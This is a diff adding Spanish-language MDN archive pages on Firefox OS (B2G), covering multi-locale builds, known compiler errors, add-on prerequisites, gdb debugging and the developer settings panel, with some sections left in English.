+<p>El uso más común de esta opción es configurar la compilación para no ejecutar tareas en paralelo, lo cual facilita la lectura de mensajes y la resolución de errores. Para ello, usa:</p>
+<pre>./build.sh -j1
+</pre>
+<h3 id="Construir_para_múltiples_configuraciones_regionales">Construir para múltiples configuraciones regionales</h3>
+<p>Para crear un sistema que incluya varias configuraciones regionales, haz lo siguiente:</p>
+<h4 id="Gaia">Gaia</h4>
+<ol>
+ <li>Escoge el archivo de idioma que quieres usar. Ahora mismo hay dos en Gaia <a href="http://hg.mozilla.org/integration/gaia-nightly/file/e2eed5263e77/shared/resources/languages-dev.json"><code>shared/resources/languages-dev.json</code></a> y <a href="http://hg.mozilla.org/integration/gaia-nightly/file/e2eed5263e77/shared/resources/languages-all.json"><code>shared/resources/languages-all.json</code></a></li>
+ <li>Clona las configuraciones regionales que necesitas desde <a href="http://hg.mozilla.org/gaia-l10n">http://hg.mozilla.org/gaia-l10n</a> a un directorio; nosotros usamos <code>gaia-l10n/</code> . Tendrás que clonar un repositorio para cada uno de las configuraciones regionales incluidas en el archivo de idiomas.</li>
+ <li>En tu sistema, configura <code>LOCALE_BASEDIR</code> como la ruta absoluta al directorio que creaste en el paso 2. Configura <code>LOCALES_FILE</code> como la ruta absoluta al archivo que escogiste en el paso 1.</li>
+</ol>
+<p>Por ejemplo:</p>
+<pre>export LOCALE_BASEDIR=$PWD/gaia-l10n
+export LOCALES_FILE=$PWD/gecko/gaia/shared/resources/languages-dev.json
+</pre>
+<h4 id="Gecko">Gecko</h4>
+<ol>
+ <li>Escoge el archivo de idioma que quieres usar. En Gecko, ahora mismo utilizamos <a href="http://hg.mozilla.org/releases/mozilla-b2g18/file/default/b2g/locales/all-locales">b2g/locales/all-locales</a></li>
+ <li>Clona las configuraciones regionales que necesitas a un directorio; por ejemplo <code>gecko-l10n/</code> .
+  <ul>
+   <li>Para mozilla-central, clona desde <a href="http://hg.mozilla.org/l10n-central/">http://hg.mozilla.org/l10n-central/</a></li>
+   <li>Para mozilla-aurora, clona desde <a href="http://hg.mozilla.org/releases/l10n/mozilla-aurora/">http://hg.mozilla.org/releases/l10n/mozilla-aurora/</a></li>
+   <li>Para mozilla-beta o mozilla-b2g18, clona desde <a href="http://hg.mozilla.org/releases/l10n/mozilla-beta/">http://hg.mozilla.org/releases/l10n/mozilla-beta/</a></li>
+  </ul>
+ </li>
+ <li>Clona <a href="http://hg.mozilla.org/build/compare-locales">compare-locales</a>.</li>
+ <li>
+  <p>En tu sistema, configura <code>L10NBASEDIR</code> como la ruta absoluta al directorio que creaste en el paso 2. Configura <code>MOZ_CHROME_MULTILOCALE</code> como una lista de las configuraciones regionales que clonaste, separadas con espacios.</p>
+  <p>Añade el directorio <code>compare-locales/scripts</code> a tu <code>PATH</code>, y <code>compare-locales/lib</code> a tu <code>PYTHONPATH</code>.</p>
+  Por ejemplo,
+  <pre>export L10NBASEDIR=$PWD/gecko-l10n
+export MOZ_CHROME_MULTILOCALE="ja zh-TW"
+export PATH="$PATH:$PWD/compare-locales/scripts"
+export PYTHONPATH="$PWD/compare-locales/lib"
+</pre>
+  <p>Una vez hayas completado estos pasos, puedes ejecutar build.sh .</p>
+  <p>Al parecer, también es posible <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=818560#c9/">usar .userconfig</a>.</p>
+  <p>Es posible que estas instrucciones cambien a medida de que avanza el proyecto.</p>
+  <h2 id="Errores_conocidos">Errores conocidos</h2>
+  <ul>
+   <li>
+    <h3 id="KeyedVector.h19331_error_indexOfKey_was_not_declared_in_this_scope">KeyedVector.h:193:31: error: indexOfKey was not declared in this scope</h3>
+   </li>
+  </ul>
+  <p>Este error aparece cuando tu versión de gcc es demasiado reciente. Instala una versión 4.6.x de gcc/g++/g++-multilib.</p>
+  <p>Visita <a href="https://developer.mozilla.org/es/docs/Mozilla/Boot_to_Gecko/Firefox_OS_build_prerequisites" title="en-US/docs/Mozilla/Boot_to_Gecko/B2G_build_prerequisites">Prerrequisitos para compilar Firefox OS</a> para más información.</p>
+  <div class="note">
+   <p><strong>Aviso de la comunidad:</strong> Es posible utilizar gcc 4.7.x si modificas ligeramente el código de B2G (gcc te proporcionará instrucciones), pero no te podemos ayudar, ni a modificar el código ni con los errores que te puedas encontrar.</p>
+  </div>
+  <ul>
+   <li>
+    <h3 id="arm-linux-androideabi-g_Internal_error_Killed_(program_cc1plus)">arm-linux-androideabi-g++: Internal error: Killed (program cc1plus)</h3>
+   </li>
+  </ul>
+  <p>Si ves este mensaje, lo más probable es que no tengas suficiente memoria libre. Asegúrate de tener suficiente memoria libre antes de ejecutar<code>./build.sh</code>. Normalmente, 4GB de ram son suficientes para compilar sin problemas.</p>
+  <ul>
+   <li>
+    <h3 id="Si_encuentras_errores_mientras_el_compilador_está_haciendo_tests">Si encuentras errores mientras el compilador está haciendo tests</h3>
+   </li>
+  </ul>
+  <p>A veces (especialmente después de actualizar el compilador o el sistema operativo) puedes encontrarte con errores extraños mientras el compilador está haciendo test tras acabar de compilar. Algo como esto:</p>
+  <pre>Generating permissions.sqlite...
+test -d profile || mkdir -p profile
+run-js-command  permissions
+WARNING: permission unknown:offline-app
+WARNING: permission unknown:indexedDB-unlimited
+build/permissions.js:122: NS_ERROR_UNEXPECTED: Component returned failure code: 0x8000ffff (NS_ERROR_UNEXPECTED) [nsIPermissionManager.add]
+make[1]: *** [permissions] Error 3
+make: *** [gaia/profile.tar.gz] Error 2</pre>
+  <p>En estos casos, prueba a eliminar el directorio<code> gaia/xulrunner-sdk</code> y haz "pull" para bajarte el código de nuevo:</p>
+  <pre>rm -r gaia/xulrunner-sdk
+</pre>
+  <p>Este comando elimina la copia precompilada de <a href="/en-US/docs/XULRunner" title="/en-US/docs/XULRunner">XULRunner</a> que el compilador se baja automáticamente. Cuando compiles de nuevo, el compilador obtendrá una nueva copia de XULRunner automáticamente.</p>
+  <h2 id="Próximos_pasos">Próximos pasos</h2>
+  <p>Tras compilar, los pasos siguientes dependen de si has compilado Boot to Gecko para el emulador o para un teléfono móvil; lee los artículos siguientes para más información:</p>
+  <ul>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_emulators">Usar los emuladores de B2G</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client">Usar la versión para ordenador de B2G</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Boot_to_Gecko/Installing_Boot_to_Gecko_on_a_mobile_device">Instalar Boot to Gecko en un teléfono móvil</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Boot_to_Gecko/Pandaboard">Instalar Boot to Gecko en un pandaboard</a></li>
+  </ul>
+ </li>
+</ol>
diff --git a/files/es/archive/b2g_os/complementos/index.html b/files/es/archive/b2g_os/complementos/index.html
new file mode 100644
index 0000000000..c6f9d4dca8
--- /dev/null
+++ b/files/es/archive/b2g_os/complementos/index.html
@@ -0,0 +1,58 @@
+---
+title: Complementos para Firefox OS
+slug: Archive/B2G_OS/Complementos
+translation_of: Archive/B2G_OS/Add-ons
+---
+<p class="summary">Firefox OS 2.5 introduce el soporte para complementos, una característica que los usuarios de equipos de sobremesa han conocido y amado desde el principio de Firefox. Los complementos en Firefox OS son incluso aún más poderosos y pueden personalizar no solo el navegador, dando una experiencia completa con el teléfono, incluyendo modificaciones en la pantalla de inicio y aplicaciones del sistema como por ejemplo la aplicación de Correo o la de Mensajes. Esta página dice todo lo que necesitas saber para empezar con la creación de complementos para Firefox OS e involucrarse con la comunidad de desarrolladores de complementos.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los complementos de Firefox OS se basan en la <a href="https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions">WebExtensions API</a>, que tambien es compatible con Firefox para escritorio a partir de la versión 42 y es basado en la API de extensiones usada por Chrome y Opera.</p>
+</div>
+
+<h2 id="Requisitos_previos">Requisitos previos</h2>
+
+<p>Usted deberá seguir los pasos que se indican a continuación para empezar con el desarrollo de las extensiones.</p>
+
+<h3 id="1._Actualizar_su_teléfono_a_la_versión_Firefox_OS_2.5" dir="ltr">1. Actualizar su teléfono a la versión Firefox OS 2.5</h3>
+
+<p>Los complementos en Firefox OS solo son compatibles con Firefox OS 2.5 y versiones posteriores. A continuación se muestra una lista con los dispositivos compatibles y cómo actualizarlos (esta lista está incompleta y se modificará en el futuro).</p>
+
+<ul>
+ <li>Flame (recomendad): Ver <a href="https://developer.mozilla.org/es/Firefox_OS/Guia_para_desarrollador_de_telefonos_moviles_Boot_to_Gecko_developer/Flame/Updating_your_Flame">la guía rápida para actualizar tu Flame.</a></li>
+</ul>
+
+<h3 id="2._Habilitar_la_depuración_USB">2. Habilitar la depuración USB</h3>
+
+<p>Ir a la aplicación de Ajustes del dispositivo, seleccione Desarrollador &gt; Depurar vía USB &gt; ADB y DevTools. Ahora debería ser capaz de depurar las apps instaladas mediante WebIDE, ya sea a través de un cable USB y por <a href="https://developer.mozilla.org/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_OS_over_Wifi">Wifi</a> (no necesita cable USB.)</p>
+
+<h3 id="3._Configurar_WebIDE">3. Configurar WebIDE</h3>
+
+<p>El herramienta de <a href="https://developer.mozilla.org/es/docs/Tools/WebIDE">WebIDE</a> es parte de Firefox y puede utilizarse para instalar complementos en el teléfono durante el desarrollo.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<h3 id="Desarrollo">Desarrollo</h3>
+
+<ul>
+ <li dir="ltr"><strong>Tutorial</strong>: <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Add-ons/Developing_Firefox_OS_add-ons">https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Add-ons/Developing_Firefox_OS_add-ons</a></li>
+ <li dir="ltr"><strong>Ejemplo a fondo</strong>: <a href="https://hacks.mozilla.org/2015/11/building-an-ios-style-unread-notifications-add-on-for-firefox-os/">https://hacks.mozilla.org/2015/11/building-an-ios-style-unread-notifications-add-on-for-firefox-os/</a></li>
+ <li dir="ltr"><strong>Referencia de la API</strong>: <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">https://developer.mozilla.org/en-US/Add-ons/WebExtensions</a></li>
+</ul>
+
+<h3 id="Distribución" dir="ltr">Distribución</h3>
+
+<ul>
+ <li dir="ltr"><strong>Submitting to Marketplace</strong>: <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Marketplace/Add-on_submission">Add-on submission</a></li>
+ <li dir="ltr"><strong>Review criteria</strong> (working draft): <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Marketplace/Add-on_submission/Review_criteria">Add-on review criteria</a></li>
+</ul>
+
+<h3 id="Participar" dir="ltr">Participar</h3>
+
+<ul>
+ <li dir="ltr"><strong>Mailing list</strong>: <a href="https://mail.mozilla.org/listinfo/dev-addons">https://mail.mozilla.org/listinfo/dev-fxos</a></li>
+ <li dir="ltr"><strong>Discourse forum</strong>: <a href="https://discourse.mozilla-community.org/c/add-ons/development">https://discourse.mozilla-community.org/c/add-ons/development</a></li>
+ <li dir="ltr"><strong>IRC</strong>:  irc.mozilla.org, #webextensions and #fxos</li>
+ <li dir="ltr"><strong>Join the unofficial Telegram group</strong>: <a href="https://telegram.me/joinchat/BTLPMAC90O9n8cpgsZ03_A">https://telegram.me/joinchat/BTLPMAC90O9n8cpgsZ03_A</a></li>
+ <li dir="ltr"><strong>Let us know what new APIs we should prioritize</strong>: <a href="https://webextensions.uservoice.com/forums/315663-webextension-api-ideas">https://webextensions.uservoice.com/forums/315663-webextension-api-ideas</a></li>
+ <li dir="ltr"><strong>Follow us on Twitter</strong>: <a href="https://twitter.com/MozWebExt">@MozWebExt</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/consejos_uso_firefox_os/index.html b/files/es/archive/b2g_os/consejos_uso_firefox_os/index.html
new file mode 100644
index 0000000000..057a2d39a9
--- /dev/null
+++ b/files/es/archive/b2g_os/consejos_uso_firefox_os/index.html
@@ -0,0 +1,21 @@
+---
+title: Consejos de uso de Firefox OS
+slug: Archive/B2G_OS/Consejos_uso_Firefox_OS
+translation_of: Archive/B2G_OS/Firefox_OS_usage_tips
+---
+<dl>
+  <dt>
+    <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_usage_tips/Remote_debugging" title="/en-US/docs/Mozilla/Firefox_OS/Hacking_Firefox_OS/Remote_debugging">Depuración remota</a></dt>
+  <dd>
+    Como poner tu teléfono para la depuración remota.</dd>
+  <dt>
+    Desbloqueando tu teléfono</dt>
+  <dd>
+    Instrucciones básicas para desbloquear tu teléfono.</dd>
+  <dt>
+    <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_usage_tips/taking_screenshots" title="/en-US/docs/Mozilla/Firefox_OS/Tips_and_tricks/taking_screenshots"> Hacer capturas de pantalla</a></dt>
+  <dd>
+    Como hacer capturas de pantalla en tu teléfono con Firefox OS.</dd>
+  <dd>
+     </dd>
+</dl>
diff --git a/files/es/archive/b2g_os/debugging/depurar_b2g_usando_gdb/index.html b/files/es/archive/b2g_os/debugging/depurar_b2g_usando_gdb/index.html
new file mode 100644
index 0000000000..ff30152895
--- /dev/null
+++ b/files/es/archive/b2g_os/debugging/depurar_b2g_usando_gdb/index.html
@@ -0,0 +1,79 @@
+---
+title: Depurar B2G usando gdb
+slug: Archive/B2G_OS/Debugging/Depurar_B2G_usando_gdb
+translation_of: Archive/B2G_OS/Debugging/Debugging_B2G_using_gdb
+---
+<p></p><div class="overheadIndicator draft">
+    <p><strong>Borrador</strong><br>
+    Esta página no está completa.</p>
+
+</div><p></p>
+<p>Depurar Firefox OS usando gdb es fácil. Este artículo lo ayudará a hacerlo aún más fácil.</p>
+<h2 id="Iniciar_el_depurador_en_modo_proceso_único">Iniciar el depurador en modo proceso único</h2>
+<div class="note">
+  <p><strong>Nota:</strong> Antes de ejecutar el depurador, podría configurar un archivo <code>.userconfig</code> para personalizar ciertas cosas. Vea <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file" title="/en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file">Personalización con el archivo .userconfig</a> para más detalles.</p>
+</div>
+<p>Para reiniciar Firefox OS y ejecutarlo bajo el control de gdb, simplemente use el script <code>run-gdb.sh</code>:</p>
+<pre>./run-gdb.sh
+</pre>
+<div class="note">
+  <p><strong>Nota:</strong> Si desea depurar en el emulador, asegúrese de no tener teléfonos conectados; esto puede causar conflctos con la habilidad de gdb de conectarse al emulador.</p>
+</div>
+<p>Si ya se está ejecutando Firefox OS y desea adjuntarlo sin reiniciarlo, puede hacer algo como:</p>
+<pre>./run-gdb.sh attach
+</pre>
+<h2 id="Depurar_tareas_fuera_del_proceso">Depurar tareas fuera del proceso</h2>
+<p>Because of the threaded nature of Firefox OS, you often need to be able to debug tasks other than the main B2G task. To do this, the simplest way is to use the b2g-ps command to find out the PID of the process that you need to debug:</p>
+<pre>$ adb shell b2g-ps
+b2g              root      106   1     189828 56956 ffffffff 40101330 S /system/b2g/b2g
+Browser          app_0     4308  106   52688  16188 ffffffff 400db330 S /system/b2g/plugin-container
+</pre>
+<p>Aquí, Browser es el proceso hijo usado como el "proceso contenido" para la aplicación navegador. Así que si quiere depurar el proceso contenido, en este ejemplo, debería hacer:</p>
+<pre>$ ./run-gdb attach 4308</pre>
+<p>A veces es útil ser notificado inmediatamente de la creación de cualquier proceso hijo. Esto puede lograrse iniiando run-gdb.sh con la variable de entorno MOZ_DEBUG_CHILD_PROCESS:</p>
+<pre>MOZ_DEBUG_CHILD_PROCESS=1 ./run-gdb.sh</pre>
+<p>Habiendo hecho esto, lanzar una aplicación OOP en Firefox OS mostrará el PID de plugin-container para la nueva tarea y esperará 30 segundos, tiempo suficiente para hacer</p>
+<pre>$ ./run-gdb attach &lt;pid&gt;</pre>
+<p>como se mencionaba anteriormente.</p>
+<p>Si está tratando de depurar algo que ocurre durante el booteo, deberá lanzar la instancia del depurador para la nueva aplicación con bastante rapidez. Una vez que el nuevo depurador fue lanzado, debería presionar inmediatamente "c" para continuar ejecutando la nueva tarea.</p>
+<h2 id="Soporte">Soporte</h2>
+<h3 id="Que_nivel_de_funcionalidad_se_espera">Que nivel de funcionalidad se espera</h3>
+<p>Al menos las siguientes caracterísiticas de depuración deberían funcionar definitivamente. Si no lo hacen, lo más probable es que un simple ajuste a la configuración las haga funcionar:</p>
+<ul>
+  <li>Símbolos para todas las librerías (excepto quizás algunos drivers en ciertos teléfonos con Android)</li>
+  <li>Backtraces with full debug info (except for optimized-away argument values)</li>
+  <li>Breakpoints: you should be able to break on a symbol, or on a file:line, or on an address. All should work.</li>
+  <li>Single-stepping ('s' and 'n' should both work)</li>
+</ul>
+<p>Las siguientes características de depuración <strong>not</strong> están soportadas. No intente usarlas.</p>
+<ul>
+  <li>Watchpoints.</li>
+</ul>
+<h3 id="Solución_de_problemas">Solución de problemas</h3>
+<p>Hay unas pocas cosas que intentar cuando GDB no está funcionando como se describe anteriormente.</p>
+<h4 id="Asegúrese_que_el_clon_de_B2G_está_actualizado">Asegúrese que el clon de B2G está actualizado</h4>
+<p>Siempre tenga en mente que para actualizar su clon de B2G debe ejecutar estos <strong>dos</strong> comandos:</p>
+<pre>git pull
+./repo sync</pre>
+<p>Olvidarse de <code>git pull</code> aquí es una típica razón por la que se terminará con un <code>run-gdb.sh</code> viejo y no se beneficiará de las mejoras recientes.</p>
+<h4 id="Asegúrese_de_adjuntarse_al_proceso_correcto">Asegúrese de adjuntarse al proceso correcto</h4>
+<p>Adjuntarse al proceso equivocado (ej. proceso principal de B2G en lugar del proceso Browser) podría explicar por que los breakpoints no se alcanzan.</p>
+<h4 id="Asegúrese_que_los_símbolos_se_leyeron_correctamente">Asegúrese que los símbolos se leyeron correctamente</h4>
+<p>En gdb, use <code>info shared</code> para verificar que los símbolos se leyeron correctamente:</p>
+<pre>(gdb) info shared
+From        To          Syms Read   Shared Object Library
+0xb0001000  0xb0006928  Yes         out/target/product/otoro/symbols/system/bin/linker
+0x40051100  0x4007ed74  Yes         /hack/b2g/B2G/out/target/product/otoro/symbols/system/lib/libc.so
+0x401ab934  0x401aba2c  Yes         /hack/b2g/B2G/out/target/product/otoro/symbols/system/lib/libstdc++.so
+...</pre>
+<p>La columna <code>Syms Read</code> debería decir <code>Yes</code> en todas partes. Quizás en algún teléfono android podría ver <code>Yes (*)</code> para algunas librerías del sistema o drivers; eso debería estar bien. No se debería ver ningún <code>No.</code></p>
+<p>Si se ve un <code>No</code>, ese es el primer problema y debe resolverlo antes de buscar otra cosa.</p>
+<p>Busque cualquer mensaje de error en la salida de terminal justo después de tipear el comando <code>run-gdb.sh</code>.</p>
+<p>También verifique en esa salida de terminal output que el comando GDB esté correcto. En particular, el último argumento de la línea de comando debería ser la ruta al ejecutable de b2g. Aquí hay un ejemplo correcto:</p>
+<pre>prebuilt/linux-x86/toolchain/arm-linux-androideabi-4.4.x/bin/arm-linux-androideabi-gdb -x /tmp/b2g.gdbinit.bjacob /hack/b2g/B2G/objdir-gecko/dist/bin/b2g</pre>
+<p>Verifique el valor de estas variables de GDB: <code>solib-search-path</code> y <code>solib-absolute-prefix:</code></p>
+<pre>(gdb) show solib-search-path
+The search path for loading non-absolute shared library symbol files is /hack/b2g/B2G/objdir-gecko/dist/bin:out/target/product/otoro/symbols/system/lib:out/target/product/otoro/symbols/system/lib/hw:out/target/product/otoro/symbols/system/lib/egl:out/target/product/otoro/symbols/system/bin:out/target/product/otoro/system/lib:out/target/product/otoro/system/lib/egl:out/target/product/otoro/system/lib/hw:out/target/product/otoro/system/vendor/lib:out/target/product/otoro/system/vendor/lib/hw:out/target/product/otoro/system/vendor/lib/egl.
+(gdb) show solib-absolute-prefix
+The current system root is "out/target/product/otoro/symbols".</pre>
+<p>Si necesita ayuda, intente el canal de IRC #b2g. Si piensa que encontró un error, infórmelo en <a href="https://github.com/mozilla-b2g/B2G/issues" title="https://github.com/mozilla-b2g/B2G/issues">B2G issue tracker</a>.</p>
diff --git a/files/es/archive/b2g_os/debugging/developer_settings/index.html b/files/es/archive/b2g_os/debugging/developer_settings/index.html
new file mode 100644
index 0000000000..3146b7c96d
--- /dev/null
+++ b/files/es/archive/b2g_os/debugging/developer_settings/index.html
@@ -0,0 +1,194 @@
+---
+title: Developer settings for Firefox OS
+slug: Archive/B2G_OS/Debugging/Developer_settings
+translation_of: Archive/B2G_OS/Debugging/Developer_settings
+---
+<div class="summary">
+ <p><span class="seoSummary">Contained in the Firefox OS Settings app is the Developer panel. This panel offers a number of options that can make debugging your open web app on Firefox OS easier.</span> This article covers the options available and how to make use of them.</p>
+</div>
+<p>The settings panel for developer options is intentionally buried deep to avoid having end users who have no need for these options inadvertently turning on options that make their device run more slowly or add strange visual effects to their displays. The panel looks something like this (the following is from a Geeksphone Keon running an April 2014 build of Firefox OS 2.0; yours may differ if you are running a different version):</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/7801/developermenu-short.png" style="width: 320px; height: 480px; display: block; margin: 0px auto;"></p>
+<p>The developer panel is reached as follows:</p>
+<ul>
+ <li>In Firefox OS &lt;1.4, you open the developer panel via <em>Settings &gt; Device information &gt; More Information &gt; Developer</em>.</li>
+ <li>In Firefox 1.4+, you have to enable the developer panel via <em>Settings &gt; Device information &gt; More Information &gt; Check the Developer Menu checkbox</em>.  Once you've done this, you can then access the developer panel via <em>Settings &gt; Developer</em>.</li>
+</ul>
+<p>The following sections cover each of the options in the Developer panel, explaining what they do and why they're useful.</p>
+<div class="warning">
+ <p><strong>Importante</strong>: Estas herramientas pueden ocasionar fallos durante el uso normal del teléfono. Algunas características vienen desactivadas por defecto debido a los fallos que han sido reportados.</p>
+</div>
+<h2 id="Ajustes_para_Desarrolladores">Ajustes para Desarrolladores</h2>
+<h3 id="Depuración_via_USB">Depuración via USB</h3>
+<p>La opción "depuración remota" permite utilizar la <a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Debugger">depuración remota</a> en tu dispositivo. Esto también activa los comandos <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a>.<strong> </strong>En las versiones anteriores a Firefox 1.4 solo existe una casilla para activar estas funciones; en Firefox 1.4 y superior existen tres opciones diferentes:</p>
+<ul>
+ <li>Desactivado: la depuración remota está desactivada (por defecto).</li>
+ <li>Sólo ADB: Permite el acceso al dispositivo através de los comandos ADB.</li>
+ <li>ADB y Devtools: Permite el acceso através de ADB y las Herramientas de Firefox Devtools tales como el <a href="/en-US/Firefox_OS/Using_the_App_Manager">App Manager</a>.</li>
+</ul>
+<h3 id="HUD_Desarrolladores">HUD Desarrolladores</h3>
+<p>En versiones superiores a Firefox OS 1.4, seleccionando este menú entrarás a las opciones del HUD Desarrolladores.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/8361/Firefox%20OS%202.1%20Developer%20HUD.png" style="width: 320px; display: block; margin: 0px auto; height: 569px;"></p>
+<p>Existen varias opciones que son explicadas a continuacion:</p>
+<ul>
+ <li><strong>Cuadros por Segundo</strong>: Muestra los cuadros por segundo tal y como se explica en esta <a href="#Frames_per_second">Frames_per_second</a> sección.</li>
+ <li><strong>Tiempo de Carga:</strong> Muestra el tiempo en que se demora en cargar la información tal y como se explica en esta <a href="#Time_to_load">Time_to_load</a> sección.</li>
+ <li><strong>Log changes in adb</strong>: Enables logging of device changes to adb logcat.</li>
+ <li><strong>Show system HUD</strong>: When checked, enables the display of several different pieces of information overlaid on top of the device display.</li>
+ <li><strong>Warnings</strong>: Displays console warnings.</li>
+ <li><strong>Errors</strong>: Displays console errors.</li>
+ <li><strong>Security issues</strong>: Displays potential security issues.</li>
+ <li><strong>Reflows</strong>: Displays reflows as they occur.</li>
+ <li><strong><a href="/en-US/Firefox_OS/Platform/Architecture#Jank">Jank</a>/Jank threshold</strong>: Notify the phone user about occurrences of unacceptably high jank, the threshold for which can be customised.</li>
+ <li><strong>Unique set size</strong>: This is a measure of the memory used by an application that is unique to that application. This is the most important measurement to inform memory usage optimizations (trying to reduce the memory apps are using), but there are others. See this <a href="/en-US/Firefox_OS/Developing_Gaia/Testing_Gaia_code_changes#Performance_tests">Performance tests</a> section for more information.</li>
+ <li><strong>Memoría de la Aplicación</strong>: Muestra inforamación de cuánta memoria esta usando la aplicación en ejecución tal y como se explica en esta <a href="#App_memory">App_memory</a> sección.</li>
+</ul>
+<h4 id="Cuadros_por_Segundo">Cuadros por Segundo</h4>
+<p>Al activar esta opción se mostrarán tres números en la esquina izquierda de la pantalla, si bien estos numeros son "instantáneos" son sólo suposiciones y pueden no ser acertivos. A continuación se explica qué significa cada número:</p>
+<ul>
+ <li>El número en la izquierda muestra la <strong>tasa de composición</strong>: es el numero estimado por segundo en el que Firefox OS dibuja los marcos al hardware. Es también un estimado del tiempo en que el usuario percive la actualización del marco. Por ejemplo, puede reportar 60 composiciones incluso si la pantalla no esta cambiando. En este caso la percepción del usuario al cambio de marcos sería de 0.</li>
+ <li>The middle number is the <strong>layer transaction rate</strong>, the estimated number of times per second processes are repainting and notifying the compositor. This number is mostly useful for Gecko platform engineers, but it should be less than or equal to the composition rate number on the left.</li>
+ <li>The right hand number is a measure of the number of pixels drawn as a percentage of the screen size. A number of 273 means the screen was painted 2.73 times. Ideally this number should be as close to 100 as possible.</li>
+</ul>
+<p><img alt="A screenshot of Firefox OS, showing three numbers in the top left hand corner that are measurements of app framerate." src="https://mdn.mozillademos.org/files/6889/framerate-fxos.jpg" style="width: 357px; height: 640px; display: block; margin: 0px auto;"></p>
+<h4 id="Time_to_load">Time to load</h4>
+<p>Firefox OS also has a tool that can help measure startup time, specifically the "first paint" time. The value shown by the tool — in the top right of the Firefox OS display — is the elapsed time between when the most recent application was launched, and an estimate of the first time that application painted its UI, in milliseconds. This number only approximates the real "first paint" time, and in particular underestimates it. However, lowering this number almost always correlates to improvements in real startup time, so it can be useful to quickly measure optimization ideas.</p>
+<p><img alt="A screenshot of Firefox OS, showing a number in the top right hand corner that is a measurement of the current app startup time, in milliseconds." src="https://mdn.mozillademos.org/files/6891/startup-time-fxos.jpg" style="width: 378px; height: 640px; display: block; margin: 0px auto;"></p>
+<h4 id="App_memory">App memory</h4>
+<p>Displays information on how much memory the app is using, and allows you to enable or disable the different items that use memory to show much each one is using in the current app. For example, the screen shot below only has <em>App memory</em> and <em>JS objects</em> checked, and the indicator on the bottom right is showing that the Settings app is using 414.77KB for JS objects.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/7731/memory-usage.png" style="width: 320px; height: 480px; display: block; margin: 0px auto;"></p>
+<h3 id="Pseudo-localization">Pseudo-localization</h3>
+<p>When enabled, pseudo-languages like <em>Accented English</em> and <em>Mirrored English</em> are available for selection in <em>Settings &gt; Languages</em>.  With pseudo-localizations, you can test the localizability of your code in regular Gaia builds without having to add real language resources nor having to speak a foreign language.  For instance, you can make sure the layout scales well with longer strings, you can preview the app in a fake RTL language, or spot HTML elements wihout the <code>data-l10n-id</code> attribute (they will be displayed in regular English).</p>
+<p><img alt="Screenshot of pseudolocales" src="http://informationisart.com/images/qps.png" style="width: 600px; height: 440px; display: block; margin: 0px auto;"></p>
+<p>You can turn pseudo-localizations on by default when you build Gaia by adding the following line into <a href="https://github.com/mozilla-b2g/gaia/blob/master/build/config/common-settings.json">gaia/build/config/common-settings.json</a>:</p>
+<pre class="brush: json"> "devtools.qps.enabled": true</pre>
+<p><strong>Note:</strong> Pseudo-localizations are generated completely dynamically, each time an app is launched.  The performance and memory characteristics may be different than those of regular localizations.  If you specifically want to test performance of non-English languages, <a href="/en-US/Firefox_OS/Building#Building_multilocale">build multilocale Gaia</a> with real locales.</p>
+<h2 id="Graphics_settings">Graphics settings</h2>
+<h3 id="Flash_repainted_area">Flash repainted area</h3>
+<p>In this mode, every time a region of the screen is painted by Gecko, Gecko blits a random translucent color over the painted region. Ideally, only parts of the screen that visually change between frames will "flash" with a new color. But sometimes more area than is needed is repainted, causing large areas to "flash". This symptom may indicate that application code is forcing too much of its scene to update. It may also indicate bugs in Gecko itself.</p>
+<p><img alt="A screenshot of Firefox OS with a number of transparent overlays, showing the parts of the screen repainted with each new animation frame." src="https://mdn.mozillademos.org/files/6893/paint-update-fxos.jpg" style="width: 378px; height: 640px; display: block; margin: 0px auto;"></p>
+<h3 id="Enable_APZ_for_all_content_(Async_PanZoom)">Enable APZ for all content (Async Pan/Zoom)</h3>
+<p>When enabled, the Async Pan/Zoom module allows panning and zooming to be performed on asynchronously, on another thread, with some noticeable differences to rendering behaviour. To find out more, read the <a href="https://wiki.mozilla.org/Platform/GFX/APZ">MozillaWiki APZ</a> article.</p>
+<h3 id="Overscrolling">Overscrolling</h3>
+<p>This enables and disables the behaviour in Firefox 2.1+ where the display stretches in an elastic manner when you scroll past the end of a page, then shrinks back again when you stop dragging the display. The behaviour's full name is <em>elastic overscroll</em>.</p>
+<h3 id="Tiling_(was_Layers_Enable_tiles)">Tiling (was Layers: Enable tiles)</h3>
+<p>Introduced in Firefox OS 1.4, this feature enables the painting of content to the screen in smaller chunks ("tiles") rather than painting the whole screen at once. This is mainly useful for platform QA work involving reducing checkerboarding and finding regression windows.</p>
+<h3 id="Simple_tiling_(was_Layers_Simple_tiles)">Simple tiling (was Layers: Simple tiles)</h3>
+<p>This flips between the two different content painting implementations described in the section above.</p>
+<h3 id="Low-precision_painting">Low-precision painting</h3>
+<p>Enabling this option makes Gecko paint a low-precision (blurry) version of the content when scrolling really fast. This is useful because it's quicker to paint, and so helps us avoid displaying blank areas (i.e. checkerboarding) while scrolling quickly. It should only be visible to the user temporarily; once the user stops scrolling we fill in the low-precision areas with high-precision content.</p>
